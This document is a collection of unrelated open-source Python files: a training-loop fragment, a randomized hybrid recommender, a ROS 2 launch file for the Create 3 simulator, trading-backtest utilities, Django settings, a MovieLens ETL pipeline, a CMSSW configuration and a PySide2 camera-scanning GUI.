ssim avg_psnr = round(avg_psnr/len(loader), 2) avg_ssim = round(avg_ssim/len(loader), 4) stat_dict[name]['psnrs'].append(avg_psnr) stat_dict[name]['ssims'].append(avg_ssim) if stat_dict[name]['best_psnr']['value'] < avg_psnr: stat_dict[name]['best_psnr']['value'] = avg_psnr stat_dict[name]['best_psnr']['epoch'] = epoch if stat_dict[name]['best_ssim']['value'] < avg_ssim: stat_dict[name]['best_ssim']['value'] = avg_ssim stat_dict[name]['best_ssim']['epoch'] = epoch test_log += "[{}-X{}], PSNR/SSIM: {:.2f}/{:.4f} (Best: {:.2f}/{:.4f}, Epoch: {}/{})\n".format( name, args.scale, float(avg_psnr), float(avg_ssim), stat_dict[name]['best_psnr']['value'], stat_dict[name]['best_ssim']['value'], stat_dict[name]['best_psnr']['epoch'], stat_dict[name]['best_ssim']['epoch']) # print log & flush out print(test_log) sys.stdout.flush() # save model saved_model_path = os.path.join(experiment_model_path, 'model_x{}_{}.pt'.format(args.scale, epoch)) torch.save(model.state_dict(), saved_model_path) torch.set_grad_enabled(True) # save stat dict ## save training paramters stat_dict_name = os.path.join(experiment_path, 'stat_dict.yml') with open(stat_dict_name, 'w') as stat_dict_file: yaml.dump(stat_dict, stat_dict_file, default_flow_style=False)
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barbante/recommendation/RecommenderHRRandom.py
hypermindr/barbante
10
160946
""" Hybrid Recommender HRRandom. """ import random from barbante.recommendation.HybridRecommender import HybridRecommender import barbante.utils.logging as barbante_logging log = barbante_logging.get_logger(__name__) class RecommenderHRRandom(HybridRecommender): """ Hybrid Recommender HRRandom. It merges different algorithms randomly, respecting the probability assigned to each algorithm and the relative orders of the recommendations produces by each strategy. """ def __init__(self, session_context): super().__init__(session_context) def get_suffix(self): """ See barbante.recommendation.Recommender. """ return "HRRandom" def obtain_cdf(self, recommendations_by_algorithm, item_idx_by_algorithm): """ Computes the cumulative distribution function associated to the algorithms that are used by this recommender. :param recommendations_by_algorithm: The set of algorithms to be sampled. :param item_idx_by_algorithm: Points to the next item to be consumed from the list of contributions of a given algorithm. When such index is equal to the size of the list, that algorithm has nothing left to contribute. :returns: A list with (Sum(p_i), alg) pairs, where Sum(p_i) is the cumulative probability for algorithm *alg*. """ cdf = [] cumulative_prob = 0 for algorithm, prob in self.session_context.algorithm_weights[self.get_suffix()]: if item_idx_by_algorithm[algorithm] < len(recommendations_by_algorithm.get(algorithm, {})): cumulative_prob += prob cdf += [(algorithm, cumulative_prob)] # normalizes cdf = [(cdf_item[0], cdf_item[1] / cumulative_prob) for cdf_item in cdf] return cdf @staticmethod def choose_algorithm(cdf): result = None rand = random.random() for algorithm, cumulative_prob in cdf: if rand < cumulative_prob: result = algorithm break return result def merge_algorithm_contributions(self, sorted_scores_by_algorithm, n_recommendations): """ See barbante.recommend.HybridRecommender. """ log.debug("Merging contributions...") recommendations = [] recommendations_set = set() # avoids duplicates among different algorithms contributions_by_algorithm = {alg: 0 for alg in self.algorithms} # for logging item_idx_by_algorithm = {alg: 0 for alg in self.algorithms} # to keep track of traversal position # Selects recommendations randomly, based on the probability distribution given by the algorithm weights. cdf = self.obtain_cdf(sorted_scores_by_algorithm, item_idx_by_algorithm) n_items_left_to_fill = n_recommendations - len(recommendations) while n_items_left_to_fill > 0: algorithm = self.choose_algorithm(cdf) if algorithm is None: break # all algorithm contributions have been exhausted sorted_candidate_scores = sorted_scores_by_algorithm.get(algorithm) if sorted_candidate_scores is None: continue while item_idx_by_algorithm[algorithm] < len(sorted_candidate_scores): score, candidate = sorted_candidate_scores[item_idx_by_algorithm[algorithm]] item_idx_by_algorithm[algorithm] += 1 if candidate not in recommendations_set: recommendations_set.add(candidate) contributions_by_algorithm[algorithm] += 1 # prepends the identification of the source algorithm in the score tuple recommendations += [([algorithm] + score, candidate)] break updated_n_items_left_to_fill = n_recommendations - len(recommendations) if updated_n_items_left_to_fill == n_items_left_to_fill: # chosen algorithm has no more contributions to give -- let's update the cdf cdf = self.obtain_cdf(sorted_scores_by_algorithm, item_idx_by_algorithm) n_items_left_to_fill = updated_n_items_left_to_fill for alg in self.algorithms: log.info("Algorithm [%s] contributed [%d] items" % (alg, contributions_by_algorithm[alg])) return recommendations
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irobot_create_common/irobot_create_common_bringup/launch/create3_nodes.launch.py
ahcorde/create3_sim
0
78918
#!/usr/bin/env python3 # Copyright 2021 iRobot Corporation. All Rights Reserved. # @author <NAME> (<EMAIL>) # # Launch Create(R) 3 nodes from ament_index_python.packages import get_package_share_directory from launch import LaunchDescription from launch.actions import DeclareLaunchArgument, IncludeLaunchDescription from launch.conditions import LaunchConfigurationEquals from launch.launch_description_sources import PythonLaunchDescriptionSource from launch.substitutions import LaunchConfiguration, PathJoinSubstitution from launch_ros.actions import Node ARGUMENTS = [ DeclareLaunchArgument('gazebo', default_value='classic', choices=['classic', 'ignition'], description='Which gazebo simulator to use') ] def generate_launch_description(): # Directories pkg_create3_common_bringup = get_package_share_directory('irobot_create_common_bringup') pkg_create3_control = get_package_share_directory('irobot_create_control') # Paths control_launch_file = PathJoinSubstitution( [pkg_create3_control, 'launch', 'include', 'control.py']) hazards_params_yaml_file = PathJoinSubstitution( [pkg_create3_common_bringup, 'config', 'hazard_vector_params.yaml']) ir_intensity_params_yaml_file = PathJoinSubstitution( [pkg_create3_common_bringup, 'config', 'ir_intensity_vector_params.yaml']) wheel_status_params_yaml_file = PathJoinSubstitution( [pkg_create3_common_bringup, 'config', 'wheel_status_params.yaml']) mock_params_yaml_file = PathJoinSubstitution( [pkg_create3_common_bringup, 'config', 'mock_params.yaml']) robot_state_yaml_file = PathJoinSubstitution( [pkg_create3_common_bringup, 'config', 'robot_state_params.yaml']) kidnap_estimator_yaml_file = PathJoinSubstitution( [pkg_create3_common_bringup, 'config', 'kidnap_estimator_params.yaml']) # Includes diffdrive_controller = IncludeLaunchDescription( PythonLaunchDescriptionSource([control_launch_file]), condition=LaunchConfigurationEquals('gazebo', 'classic') ) # Publish hazards vector hazards_vector_node = Node( package='irobot_create_toolbox', name='hazards_vector_node', executable='hazards_vector_publisher_node', parameters=[hazards_params_yaml_file, {'use_sim_time': True}], output='screen', ) # Publish IR intensity vector ir_intensity_vector_node = Node( package='irobot_create_toolbox', name='ir_intensity_vector_node', executable='ir_intensity_vector_publisher_node', parameters=[ir_intensity_params_yaml_file, {'use_sim_time': True}], output='screen', ) # Motion Control motion_control_node = Node( package='irobot_create_toolbox', name='motion_control', executable='motion_control', parameters=[{'use_sim_time': True}], output='screen', ) # Publish wheel status wheel_status_node = Node( package='irobot_create_toolbox', name='wheel_status_publisher_node', executable='wheel_status_publisher_node', parameters=[wheel_status_params_yaml_file, {'use_sim_time': True}], output='screen', ) # Publish mock topics mock_topics_node = Node( package='irobot_create_toolbox', name='mock_publisher_node', executable='mock_publisher_node', parameters=[mock_params_yaml_file, {'use_sim_time': True}, {'gazebo': LaunchConfiguration('gazebo')}], output='screen', ) # Publish robot state robot_state_node = Node( package='irobot_create_toolbox', name='robot_state', executable='robot_state_node', parameters=[robot_state_yaml_file, {'use_sim_time': True}], output='screen', ) # Publish kidnap estimator kidnap_estimator_node = Node( package='irobot_create_toolbox', name='kidnap_estimator', executable='kidnap_estimator_publisher_node', parameters=[kidnap_estimator_yaml_file, {'use_sim_time': True}], output='screen', ) # Define LaunchDescription variable ld = LaunchDescription(ARGUMENTS) # Include robot description ld.add_action(diffdrive_controller) # Add nodes to LaunchDescription ld.add_action(hazards_vector_node) ld.add_action(ir_intensity_vector_node) ld.add_action(motion_control_node) ld.add_action(wheel_status_node) ld.add_action(mock_topics_node) ld.add_action(robot_state_node) ld.add_action(kidnap_estimator_node) return ld
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utils.py
neilsmurphy/backtrader_template
75
190573
############################################################################### # # Software program written by <NAME> in year 2021. # # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. # # By using this software, the Disclaimer and Terms distributed with the # software are deemed accepted, without limitation, by user. # # You should have received a copy of the Disclaimer and Terms document # along with this program. If not, see... https://bit.ly/2Tlr9ii # ############################################################################### from datetime import datetime import itertools import math from pathlib import Path import sqlite3 def time_str_to_datetime(time): return datetime.strptime(time, "%H:%M").time() def round_down(x): return math.trunc(x * 4) / 4 def round_up(x): return math.ceil(x * 4) / 4 def time_tuple(d): keys, values = zip(*d.items()) return [tuple(dict(zip(keys, v)).items()) for v in itertools.product(*values)] def create_db_connection(): """ Opens a database connection. """ Path("data").mkdir(parents=True, exist_ok=True) dir = Path("data") filename = "results.db" filepath = dir / filename return sqlite3.connect(filepath) def yes_or_no(question): """ Simple yes no choice function. """ reply = str(input(f"{question} (y/n): ")).lower().strip() if reply[0] == "y": return True if reply[0] == "n": return False else: return yes_or_no("Please enter y/n") def clear_database(): try: remove_db = Path('data/results.db') remove_db.unlink() except: pass def df_to_db(agg_dict): """ Saves results dataframes to the sqlite3 database""" engine = create_db_connection() for table_name, df in agg_dict.items(): try: # Remove whitespace before going to sql. df.columns = [name.replace(" ", "_") for name in df.columns] df.to_sql( table_name, con=engine, if_exists="append", index=False ) except Exception as e: print(f"{e} {table_name} failed.") engine.close()
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sensorgridapi/core/settings/common.py
Verdinjoshua26/SensorGridAPI
8
170161
""" Django settings for sensorgridapi project. Generated by 'django-admin startproject' using Django 1.11.9. For more information on this file, see https://docs.djangoproject.com/en/1.11/topics/settings/ For the full list of settings and their values, see https://docs.djangoproject.com/en/1.11/ref/settings/ """ import os from os import environ as env # Build paths inside the project like this: os.path.join(BASE_DIR, ...) BASE_DIR = os.path.dirname(os.path.dirname(os.path.dirname(os.path.abspath(__file__)))) ALLOWED_HOSTS = env.get('APPLICATION_DOMAINS', '').split() + ['localhost', '127.0.0.1'] # Application definition INSTALLED_APPS = [ 'django.contrib.admin', 'django.contrib.auth', 'django.contrib.contenttypes', 'django.contrib.sessions', 'django.contrib.messages', 'django.contrib.staticfiles', 'rest_framework', 'sensordata', # 'requeststest.apps.RequeststestConfig' # 'sensordata.apps.SensorDataConfig' ] MIDDLEWARE = [ 'django.middleware.security.SecurityMiddleware', 'django.contrib.sessions.middleware.SessionMiddleware', 'django.middleware.common.CommonMiddleware', 'django.middleware.csrf.CsrfViewMiddleware', 'django.contrib.auth.middleware.AuthenticationMiddleware', 'django.contrib.messages.middleware.MessageMiddleware', 'django.middleware.clickjacking.XFrameOptionsMiddleware', ] ROOT_URLCONF = 'core.urls' TEMPLATES = [ { 'BACKEND': 'django.template.backends.django.DjangoTemplates', 'DIRS': [], 'APP_DIRS': True, 'OPTIONS': { 'context_processors': [ 'django.template.context_processors.debug', 'django.template.context_processors.request', 'django.contrib.auth.context_processors.auth', 'django.contrib.messages.context_processors.messages', ], }, }, ] WSGI_APPLICATION = 'core.wsgi.application' # Password validation # https://docs.djangoproject.com/en/1.11/ref/settings/#auth-password-validators # commenting out for local development # AUTH_PASSWORD_VALIDATORS = [ # { # 'NAME': 'django.contrib.auth.password_validation.UserAttributeSimilarityValidator', # }, # { # 'NAME': 'django.contrib.auth.password_validation.MinimumLengthValidator', # }, # { # 'NAME': 'django.contrib.auth.password_validation.CommonPasswordValidator', # }, # { # 'NAME': 'django.contrib.auth.password_validation.NumericPasswordValidator', # }, # ] # Internationalization # https://docs.djangoproject.com/en/1.11/topics/i18n/ LANGUAGE_CODE = 'en-us' TIME_ZONE = 'UTC' USE_I18N = True USE_L10N = True USE_TZ = True # Static files (CSS, JavaScript, Images) # https://docs.djangoproject.com/en/1.11/howto/static-files/ STATIC_URL = '/static/' # Database # https://docs.djangoproject.com/en/1.11/ref/settings/#databases DATABASES = { 'default': { 'ENGINE': env['DB_ENGINE__DEFAULT'], 'NAME': env['DB_NAME__DEFAULT'], 'USER': env['DB_USER__DEFAULT'], 'PASSWORD': env['DB_PASSWORD__DEFAULT'], 'HOST': env['DB_HOST__DEFAULT'], 'PORT': env['DB_PORT__DEFAULT'] } } # to be removed later -- sets up default permissions REST_FRAMEWORK = { # Use Django's standard `django.contrib.auth` permissions, # or allow read-only access for unauthenticated users. #'DEFAULT_FILTER_BACKENDS': ('django_filters.rest_framework.DjangoFilterBackend',), 'DEFAULT_PERMISSION_CLASSES': [ # 'rest_framework.permissions.DjangoModelPermissionsOrAnonReadOnly' ], 'DEFAULT_PAGINATION_CLASS': 'rest_framework.pagination.LimitOffsetPagination', }
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merlin/models/data/movielens.py
rhdong/models
0
54567
import logging import os import shutil from os import path import numpy as np import nvtabular as nvt import pandas as pd from nvtabular import ops import merlin.io # Get dataframe library - cudf or pandas from merlin.core.dispatch import get_lib from merlin.core.utils import download_file df_lib = get_lib() logging.basicConfig() logger = logging.getLogger(__name__) logger.setLevel(logging.INFO) def get_movielens(path=None, variant="ml-25m"): """Gets the movielens dataset for use with merlin-models This function will return a tuple of train/test merlin.io.Dataset objects for the movielens dataset. This will download the movielens dataset locally if needed, and run a ETL pipeline with NVTabular to make this dataset ready for use with merlin-models. Parameters ---------- path : str The path to download the files locally to. If not set will default to the 'merlin-models-data` directory in your home folder variant : "ml-25m" or "ml-100k" Which variant of the movielens dataset to use. Must be either "ml-25m" or "ml-100k" Returns ------- tuple A tuple consisting of a merlin.io.Dataset for the training dataset and validation dataset """ if path is None: path = os.environ.get( "INPUT_DATA_DIR", os.path.expanduser("~/merlin-models-data/movielens/") ) variant_path = os.path.join(path, variant) if not os.path.exists(variant_path): os.makedirs(variant_path) movielens_download_etl(path, variant) train = merlin.io.Dataset(os.path.join(variant_path, "train"), engine="parquet") valid = merlin.io.Dataset(os.path.join(variant_path, "valid"), engine="parquet") return train, valid def movielens_download_etl(local_filename, name="ml-25m", outputdir=None): """This funct does the preliminary preprocessing on movielens dataset and converts the csv files to parquet files and saves to disk. Then, using NVTabular, it does feature engineering on the parquet files and saves the processed files to disk. Parameters ---------- local_filename : str path for downloading the raw dataset in and storing the converted parquet files. name : str The name of the Movielens dataset. Currently Movielens 25M and Movielens 100k datasets are supported. outputdir : str, optional path for saving the processed parquet files generated from NVTabular workflow. If not provided, local_filename is used as outputdir. """ local_filename = os.path.abspath(local_filename) if outputdir is None: outputdir = local_filename if name == "ml-25m": download_file( "http://files.grouplens.org/datasets/movielens/ml-25m.zip", os.path.join(local_filename, "ml-25m.zip"), ) movies = df_lib.read_csv(os.path.join(local_filename, name, "movies.csv")) movies["genres"] = movies["genres"].str.split("|") movies.to_parquet(os.path.join(local_filename, name, "movies_converted.parquet")) ratings = df_lib.read_csv(os.path.join(local_filename, name, "ratings.csv")) # shuffle the dataset ratings = ratings.sample(len(ratings), replace=False) # split the train_df as training and validation data sets. num_valid = int(len(ratings) * 0.2) train = ratings[:-num_valid] valid = ratings[-num_valid:] train.to_parquet(os.path.join(local_filename, name, "train.parquet")) valid.to_parquet(os.path.join(local_filename, name, "valid.parquet")) logger.info("starting ETL..") # NVTabular pipeline movies = df_lib.read_parquet(os.path.join(local_filename, name, "movies_converted.parquet")) joined = ["userId", "movieId"] >> ops.JoinExternal(movies, on=["movieId"]) cat_features = joined >> ops.Categorify(dtype="int32") label = nvt.ColumnSelector(["rating"]) # Columns to apply to cats = nvt.ColumnSelector(["movieId"]) # Target Encode movieId column te_features = cats >> ops.TargetEncoding(label, kfold=5, p_smooth=20) te_features_norm = te_features >> ops.NormalizeMinMax() # count encode `userId` count_logop_feat = ( ["userId"] >> ops.JoinGroupby(cont_cols=["movieId"], stats=["count"]) >> ops.LogOp() ) feats_item = cat_features["movieId"] >> ops.AddMetadata(tags=["item_id", "item"]) feats_user = cat_features["userId"] >> ops.AddMetadata(tags=["user_id", "user"]) feats_genres = cat_features["genres"] >> ops.AddMetadata(tags=["item"]) feats_target = ( nvt.ColumnSelector(["rating"]) >> ops.LambdaOp(lambda col: (col > 3).astype("int32")) >> ops.AddMetadata(tags=["binary_classification", "target"]) >> nvt.ops.Rename(name="rating_binary") ) target_orig = ( ["rating"] >> ops.LambdaOp(lambda col: col.astype("float32")) >> ops.AddMetadata(tags=["regression", "target"]) ) workflow = nvt.Workflow( feats_item + feats_user + feats_genres + te_features_norm + count_logop_feat + target_orig + feats_target + joined["title"] ) elif name == "ml-100k": download_file( "http://files.grouplens.org/datasets/movielens/ml-100k.zip", os.path.join(local_filename, "ml-100k.zip"), ) logger.info("starting ETL..") ratings = pd.read_csv( os.path.join(local_filename, "ml-100k/u.data"), names=["userId", "movieId", "rating", "timestamp"], sep="\t", ) user_features = pd.read_csv( os.path.join(local_filename, "ml-100k/u.user"), names=["userId", "age", "gender", "occupation", "zip_code"], sep="|", ) user_features.to_parquet(os.path.join(local_filename, "ml-100k/user_features.parquet")) cols = [ "movieId", "title", "release_date", "video_release_date", "imdb_URL", "unknown", "Action", "Adventure", "Animation", "Childrens", "Comedy", "Crime", "Documentary", "Drama", "Fantasy", "Film_Noir", "Horror", "Musical", "Mystery", "Romance", "Sci-Fi", "Thriller", "War", "Western", ] genres_ = [ "unknown", "Action", "Adventure", "Animation", "Childrens", "Comedy", "Crime", "Documentary", "Drama", "Fantasy", "Film_Noir", "Horror", "Musical", "Mystery", "Romance", "Sci-Fi", "Thriller", "War", "Western", ] movies = pd.read_csv( os.path.join(local_filename, "ml-100k/u.item"), names=cols, sep="|", encoding="latin1" ) for col in genres_: movies[col] = movies[col].replace(1, col) movies[col] = movies[col].replace(0, np.nan) s = movies[genres_] s.notnull() movies["genres"] = s.notnull().dot(s.columns + ",").str[:-1] movies_converted = movies[ ["movieId", "title", "release_date", "video_release_date", "genres", "imdb_URL"] ] movies_converted.to_parquet( os.path.join(local_filename, "ml-100k/movies_converted.parquet") ) train = pd.read_csv( os.path.join(local_filename, "ml-100k/ua.base"), names=["userId", "movieId", "rating", "timestamp"], sep="\t", ) valid = pd.read_csv( os.path.join(local_filename, "ml-100k/ua.test"), names=["userId", "movieId", "rating", "timestamp"], sep="\t", ) train = train.merge(user_features, on="userId", how="left") train = train.merge(movies_converted, on="movieId", how="left") valid = valid.merge(user_features, on="userId", how="left") valid = valid.merge(movies_converted, on="movieId", how="left") train.to_parquet(os.path.join(local_filename, "ml-100k/train.parquet")) valid.to_parquet(os.path.join(local_filename, "ml-100k/valid.parquet")) cat_features = [ "userId", "movieId", "gender", "occupation", "zip_code", "genres", ] >> nvt.ops.Categorify(dtype="int32") cont_names = ["age"] boundaries = {"age": [0, 10, 20, 30, 40, 50, 60, 70, 80, 90]} age_bucket = cont_names >> ops.Bucketize(boundaries) >> ops.AddMetadata(tags=["user"]) label = nvt.ColumnSelector(["rating"]) # Target Encode movieId column te_features = ["movieId"] >> ops.TargetEncoding(label, kfold=5, p_smooth=20) te_features_norm = te_features >> ops.NormalizeMinMax() # count encode `userId` count_logop_feat = ( ["userId"] >> ops.JoinGroupby(cont_cols=["movieId"], stats=["count"]) >> ops.LogOp() ) feats_item = cat_features["movieId"] >> ops.AddMetadata(tags=["item_id", "item"]) feats_user = cat_features["userId"] >> ops.AddMetadata(tags=["user_id", "user"]) feats_genres = cat_features["genres"] >> ops.AddMetadata(tags=["item"]) user_features = cat_features["gender", "zip_code"] >> ops.AddMetadata(tags=["user"]) feats_target = ( nvt.ColumnSelector(["rating"]) >> ops.LambdaOp(lambda col: (col > 3).astype("int32")) >> ops.AddMetadata(tags=["binary_classification", "target"]) >> nvt.ops.Rename(name="rating_binary") ) target_orig = ["rating"] >> ops.AddMetadata(tags=["regression", "target"]) workflow = nvt.Workflow( feats_item + feats_user + feats_genres + te_features_norm + count_logop_feat + user_features + target_orig + feats_target + age_bucket + ["title"] ) else: raise ValueError( "Unknown dataset name. Only Movielens 25M and 100k datasets are supported." ) train_dataset = nvt.Dataset([os.path.join(local_filename, name, "train.parquet")]) valid_dataset = nvt.Dataset([os.path.join(local_filename, name, "valid.parquet")]) if path.exists(os.path.join(local_filename, name, "train")): shutil.rmtree(os.path.join(local_filename, name, "train")) if path.exists(os.path.join(local_filename, name, "valid")): shutil.rmtree(os.path.join(local_filename, name, "valid")) workflow.fit(train_dataset) workflow.transform(train_dataset).to_parquet( output_path=os.path.join(outputdir, name, "train"), out_files_per_proc=1, shuffle=False, ) workflow.transform(valid_dataset).to_parquet( output_path=os.path.join(outputdir, name, "valid"), out_files_per_proc=1, shuffle=False, ) # Save the workflow workflow.save(os.path.join(outputdir, name, "workflow")) logger.info("saving the workflow..")
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CondCore/ESSources/test/python/write_beamspot_cfg.py
PKUfudawei/cmssw
1
173974
<filename>CondCore/ESSources/test/python/write_beamspot_cfg.py from __future__ import print_function import time import FWCore.ParameterSet.Config as cms import FWCore.ParameterSet.VarParsing as VarParsing from Configuration.AlCa.autoCond import autoCond options = VarParsing.VarParsing() options.register('connectionString', 'sqlite_file:cms_conditions.db', #default value VarParsing.VarParsing.multiplicity.singleton, VarParsing.VarParsing.varType.string, "CondDB Connection string") options.register('tag', 'BeamSpot_test_updateByLumi_00', VarParsing.VarParsing.multiplicity.singleton, VarParsing.VarParsing.varType.string, "tag for record BeamSpotObjectsRcd") options.register('runNumber', 250000, #default value, int limit -3 VarParsing.VarParsing.multiplicity.singleton, VarParsing.VarParsing.varType.int, "Run number; default gives latest IOV") options.register('messageLevel', 0, #default value VarParsing.VarParsing.multiplicity.singleton, VarParsing.VarParsing.varType.int, "Message level; default to 0") options.parseArguments() process = cms.Process("TEST") process.MessageLogger = cms.Service("MessageLogger", cout = cms.untracked.PSet(threshold = cms.untracked.string('INFO')), destinations = cms.untracked.vstring('cout') ) CondDBParameters = cms.PSet( messageLevel = cms.untracked.int32( 3 ), ) process.source = cms.Source( "EmptySource", firstRun = cms.untracked.uint32( 1 ), firstLuminosityBlock = cms.untracked.uint32( 1 ), numberEventsInRun = cms.untracked.uint32( 1 ), numberEventsInLuminosityBlock = cms.untracked.uint32( 1 ) ) process.maxEvents = cms.untracked.PSet( input = cms.untracked.int32(1)) process.prod = cms.EDAnalyzer("LumiTestWriteAnalyzer", connectionString = cms.untracked.string(options.connectionString ), tagName = cms.untracked.string(options.tag), runNumber = cms.untracked.uint32(options.runNumber), numberOfLumis = cms.untracked.uint32(24), iovSize = cms.untracked.uint32(4) ) process.p = cms.Path( process.prod ) for name, module in process.es_sources_().items(): print("ESModules> provider:%s '%s'" % ( name, module.type_() )) for name, module in process.es_producers_().items(): print("ESModules> provider:%s '%s'" % ( name, module.type_() ))
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main.py
leehsong/FabricNewGUI
1
71900
################################################################################ ## ## BY: <NAME> ## PROJECT MADE WITH: Qt Designer and PySide2 ## V: 1.0.0 ## ## This project can be used freely for all uses, as long as they maintain the ## respective credits only in the Python scripts, any information in the visual ## interface (GUI) can be modified without any implication. ## ## There are limitations on Qt licenses if you want to use your products ## commercially, I recommend reading them on the official website: ## https://doc.qt.io/qtforpython/licenses.html ## ################################################################################ import sys, os import platform from PySide2 import QtCore, QtGui, QtWidgets from PySide2.QtCore import (Signal, QCoreApplication, QPropertyAnimation, QDate, QDateTime, QMetaObject, QObject, QPoint, QRect, QSize, QTime, QUrl, Qt, QEvent) from PySide2.QtGui import (QBrush, QColor, QConicalGradient, QCursor, QFont, QFontDatabase, QIcon, QKeySequence, QLinearGradient, QPalette, QPainter, QPixmap, QRadialGradient) from PySide2.QtWidgets import * import subprocess from watchdog.observers import Observer from watchdog.events import LoggingEventHandler import logging import time from PIL import Image, ImageDraw, ImageFont # GUI FILE from app_modules import * file_list = [] file_sender = [] DIR = '' updated_files = {'1_1':'1_FileName0.tif'} class Event(LoggingEventHandler): def on_modified(self, event): filename = event.src_path[12:] keyname = event.src_path[10] +"_"+event.src_path[12] # print(keyname) updated_files[keyname]=filename # print(f'event type: {event.event_type} path : {event.src_path[10:]}') class MainWindow(QMainWindow): def __init__(self): QMainWindow.__init__(self) self.ui = Ui_MainWindow() self.ui.setupUi(self) ## PRINT ==> SYSTEM print('System: ' + platform.system()) print('Version: ' + platform.release()) ######################################################################## ## START - WINDOW ATTRIBUTES ######################################################################## ## REMOVE ==> STANDARD TITLE BAR UIFunctions.removeTitleBar(True) ## ==> END ## ## SET ==> WINDOW TITLE self.setWindowTitle('Bushin AI') UIFunctions.labelTitle(self, 'Bushin AI') UIFunctions.labelDescription(self, 'Get the raw data.') ## ==> END ## ## WINDOW SIZE ==> DEFAULT SIZE startSize = QSize(1000, 720) self.resize(startSize) self.setMinimumSize(startSize) # UIFunctions.enableMaximumSize(self, 500, 720) ## ==> END ## ## ==> CREATE MENUS ######################################################################## ## ==> TOGGLE MENU SIZE self.ui.btn_toggle_menu.clicked.connect(lambda: UIFunctions.toggleMenu(self, 175, True)) ## ==> END ## ## ==> ADD CUSTOM MENUS self.ui.stackedWidget.setMinimumWidth(20) UIFunctions.addNewMenu(self, "이미지 수집", "btn_raw_data", "url(:/16x16/icons/16x16/cil-library-add.png)", True) UIFunctions.addNewMenu(self, "이미지 분석", "btn_learning", "url(:/16x16/icons/16x16/cil-laptop.png)", True) UIFunctions.addNewMenu(self, "데이터 관리", "btn_result", "url(:/16x16/icons/16x16/cil-find-in-page.png)", True) UIFunctions.addNewMenu(self, "Setting", "btn_setting", "url(:/16x16/icons/16x16/cil-settings.png)", False) # UIFunctions.addNewMenu(self, "Custom Widgets", "btn_widgets", "url(:/16x16/icons/16x16/cil-equalizer.png)", False) ## ==> END ## # START MENU => SELECTION UIFunctions.selectStandardMenu(self, "btn_raw_data") ## ==> END ## ## ==> START PAGE self.ui.stackedWidget.setCurrentWidget(self.ui.page_collection) ## ==> END ## ## USER ICON ==> SHOW HIDE UIFunctions.userIcon(self, "EZ", "", True) ## ==> END ## ## ==> MOVE WINDOW / MAXIMIZE / RESTORE ######################################################################## def moveWindow(event): # IF MAXIMIZED CHANGE TO NORMAL if UIFunctions.returStatus() == 1: UIFunctions.maximize_restore(self) # MOVE WINDOW if event.buttons() == Qt.LeftButton: self.move(self.pos() + event.globalPos() - self.dragPos) self.dragPos = event.globalPos() event.accept() # WIDGET TO MOVE self.ui.frame_label_top_btns.mouseMoveEvent = moveWindow ## ==> END ## ## ==> LOAD DEFINITIONS ######################################################################## UIFunctions.uiDefinitions(self) ## ==> END ## ######################################################################## ## END - WINDOW ATTRIBUTES ############################## ---/--/--- ############################## ######################################################################## # # ## START -------------- WIDGETS FUNCTIONS/PARAMETERS ---------------- ## # # ## ==> USER CODES BELLOW ## ######################################################################## ## ==> QTableWidget RARAMETERS ######################################################################## self.ui.tableWidget.horizontalHeader().setSectionResizeMode(QtWidgets.QHeaderView.Stretch) ## ==> END ## ######################################################################## # # ## END --------------- WIDGETS FUNCTIONS/PARAMETERS ----------------- ## # # ############################## ---/--/--- ############################## ## SHOW ==> MAIN WINDOW ######################################################################## self.show() ## ==> END ## # 이미지 수집 self.ui.btn_cam1.setCheckable(True) self.ui.btn_cam1.clicked.connect(self.toggle_btn_cam1) self.ui.btn_cam2.setCheckable(True) self.ui.btn_cam2.clicked.connect(self.toggle_btn_cam2) self.ui.btn_cam3.setCheckable(True) self.ui.btn_cam3.clicked.connect(self.toggle_btn_cam3) self.ui.btn_test.clicked.connect(self.btn_test) self.ui.btn_scan.clicked.connect(self.btn_scan) # 이미지 분석 self.label_ = [] self.ui.comboBox_2.currentIndexChanged.connect(self.onComboBox_2) self.onComboBox_2(0) # 초기 기본 셋팅: 3열 # 데이터 관리 self.pixmap = QPixmap("On.png") self.ui.textile_image.setPixmap(self.pixmap) self.ui.textile_image.setScaledContents(True) self.pixmap = QPixmap("Off.png") self.ui.mask_image.setPixmap(self.pixmap) self.ui.mask_image.setScaledContents(True) # 이미지 수집 def toggle_btn_cam1(self, state): if state == True: process0 = subprocess.Popen("python grab_2camera.py turnon 0 Test 1") print("btn_cam1: On") else: process0 = subprocess.Popen("python grab_2camera.py turnoff 0 Test 1") print("btn_cam1: Off") def toggle_btn_cam2(self, state): if state == True: process0 = subprocess.Popen("python grab_2camera_multi.py turnon 1 Test 1") print("btn_cam2: On") else: process0 = subprocess.Popen("python grab_2camera_multi.py turnoff 1 Test 1") print("btn_cam2: Off") def toggle_btn_cam3(self, state): if state == True: process0 = subprocess.Popen("python grab_2camera_multi.py turnon 2 Test 1") print("btn_cam3: On") else: process0 = subprocess.Popen("python grab_2camera_multi.py turnoff 2 Test 1") print("btn_cam3: Off") def save_temp_image(self, filename): if len(updated_files) < 6: return # time.sleep(0) keys = ['1_1', '1_2', '2_1', '2_2','3_1', '3_2'] scannerid = [1, 1, 2, 2, 3, 3] new_image = Image.new('RGB', (320*2, 220*3)) fnt = ImageFont.truetype(os.path.join('./fonts/segoeui.ttf'), 15) for i in range(0, 6): image = Image.open('./Scanner/{}/{}'.format(scannerid[i],updated_files[keys[i]])) image_small = image.resize((300,200)) d = ImageDraw.Draw(image_small) d.text((10, 10), '{}/{}'.format(keys[i], updated_files[keys[i]]), font=fnt, fill=(255, 255, 255)) new_image.paste(image_small, ((i%2)*320 + 10, (scannerid[i]-1)*220 + 10)) new_image.save(filename, "JPEG") def btn_test(self): print("btn_test: pressed") process0 = subprocess.Popen("python grab_2camera_multi_sync.py scan 1 Test 1") process1 = subprocess.Popen("python grab_2camera_multi_sync.py scan 2 Test 1") process2 = subprocess.Popen("python grab_2camera_multi_sync.py scan 3 Test 1") logging.basicConfig(level=logging.INFO, format='%(asctime)s - %(message)s', datefmt='%Y-%m-%d %H:%M:%S') event_handler = Event() observer = Observer() observer.schedule(event_handler, './Scanner', recursive=True) observer.start() index = 0 try: while True: time.sleep(1) poll = process1.poll() if poll == None: print("Check update") # self.save_temp_image('./Merge/{}.jpg'.format(index)) index = index + 1 print(updated_files) else: observer.stop() break except KeyboardInterrupt: observer.stop() self.save_temp_image('test_scan.jpg') self.pixmap = QPixmap('test_scan.jpg') self.ui.label_scan_image.setPixmap(self.pixmap) self.ui.label_scan_image.setScaledContents(True) def btn_scan(self): print("btn_scan: pressed") self.pixmap = QPixmap("Off.png") 